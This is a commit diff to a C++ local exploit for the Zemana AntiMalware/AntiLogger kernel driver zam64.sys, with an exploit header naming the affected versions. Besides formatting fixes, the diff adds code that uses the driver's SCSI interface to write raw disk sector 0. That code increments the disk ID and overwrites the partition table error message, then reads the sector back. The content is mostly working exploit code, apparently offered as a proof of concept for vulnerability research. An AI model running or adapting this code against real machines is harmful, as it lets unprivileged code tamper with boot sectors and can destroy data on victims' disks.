update

Author: VoidSec

windows/x64/kernel/Zemana_AntiMalware_AntiLogger/driver/zam64.sys.i64

@@ -4,9 +4,9 @@ Exploit Author:     Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voi
 Date:               12/06/2023
 Vendor Homepage:    https://zemana.com/
 Download:           https://zemana.com/downloads/Zemana.AntiMalware.Setup.exe
-		    https://zemana.com/downloads/Zemana.AntiLogger.Setup.exe
-Affected Version:   Zemana AntiMalware v. <= 3.2.28
-		    Zemana AntiLogger v. <= 2.74.204.664
+                    https://zemana.com/downloads/Zemana.AntiLogger.Setup.exe
+Affected Version:	Zemana AntiMalware v. <= 3.2.28
+                    Zemana AntiLogger v. <= 2.74.204.664
 CVE:                CVE-2023-XXXX
 Tested on:          Windows 11 Pro x64 v.22621.1778
 Category:           local exploit
@@ -166,18 +166,30 @@ int main(int argc, char** argv) {
 		return -1;
 	}
 	std::cout << "\t[+] Disk ID: 0x" << *(ULONG32*)(lpInBuffer + 440) << std::endl;
-	std::cout << "\t[+]SCSI disk dump" << std::endl;
+	std::cout << "\t[+] SCSI disk dump" << std::endl;
 	hex_dump(std::cout, lpInBuffer, sizeof(lpInBuffer));
 
 	std::cout << "\n[-] SCSI Disk Write" << std::endl;
 	std::cout << "\t[-] Incrementing Disk ID" << std::endl;
 	(*(ULONG32*)(lpInBuffer + 440))++;
+	std::cout << "\t[-] Overwriting Partition Table Error Message with 'VoidSec'" << std::endl;
+	memcpy(lpInBuffer + 0x163, "VoidSec", 7);
+
 	success = SCSI_RW(hDevice, 0, 0, lpInBuffer, TRUE);
 	if (!success) {
 		std::cout << "\t[!] Failed to write to SCSI disk. Error code: " << ::GetLastError() << std::endl;
 		return -1;
 	}
 	std::cout << "\t[+] SCSI Write successful! Disk ID is now: 0x" << *(ULONG32*)(lpInBuffer + 440) << std::endl;
+	
+	// reading back partition table
+	success = SCSI_RW(hDevice, 0, 0, lpInBuffer, FALSE);
+	if (!success) {
+		std::cout << "\t[!] Failed to read from SCSI disk. Error code: " << ::GetLastError() << std::endl;
+		return -1;
+	}
+	std::cout << "\t[+] SCSI disk dump" << std::endl;
+	hex_dump(std::cout, lpInBuffer, sizeof(lpInBuffer));
 
 	CloseHandle(hDevice);
 	return 0;